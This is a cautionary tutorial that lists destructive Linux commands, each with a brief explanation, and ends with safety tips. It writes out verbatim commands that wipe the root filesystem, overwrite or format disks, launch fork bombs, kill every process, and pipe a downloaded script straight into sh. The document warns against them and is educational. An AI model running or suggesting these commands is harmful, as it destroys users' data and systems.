Simple list of deadly linux commands. All the Linux that nobody will teach you, but that you will experience in first person... at least one time in your life.
Daniele Olmisani, 2017-2025
Some of these commands need administration rights (e.g. sudo ...) to be executed, some Linux distributions enforce specific protection mechanisms. So it is not so simple to destroy your Linux machine, but pay attention in any case.
Most of the commands in this tutorial are really dangerous!!! DO NOT use these commands on a real system if you have no idea of what you are going to do.
rm -fR /
With this command you asking to delete every files in your disk. Your only hope is that some security control will denied you to do something so silly.
:(){ :|: & };:
Elegant and deadly as a dark-lady. This short shell script replicates itself until all the processing capabilities of your computer will be occupied. Shutdown and restart seems to be the only solution.
More simple, but same effects:
perl -e 'fork while true;'
mkfs.ext4 /dev/sda1
Do you remember FORMAT C: of the old DOS? this have the same result.
date > /dev/sda
Redirecting will write raw bytes on your disk partition. What can never will be? nothing good! surely.
dd if=/dev/random of=/dev/sda
mv ~ /dev/null
This command will move all your personal data in the Linux equivalent of a Black Hole.
wget http://example.com/something -O – | sh –
find / -name busybox -exec rm -f {} \;
cat /dev/port
The simplest way to freeze your system.
kill -9 -1
Remove any running process, including system processes.
- execute commands with root privileges only if it is strictly necessary
- beware from
rm -rcommands - never mess with partions handles (such as
/dev/sda1) - never execute untrusted content
- there should be a good reason if your administrator password is requested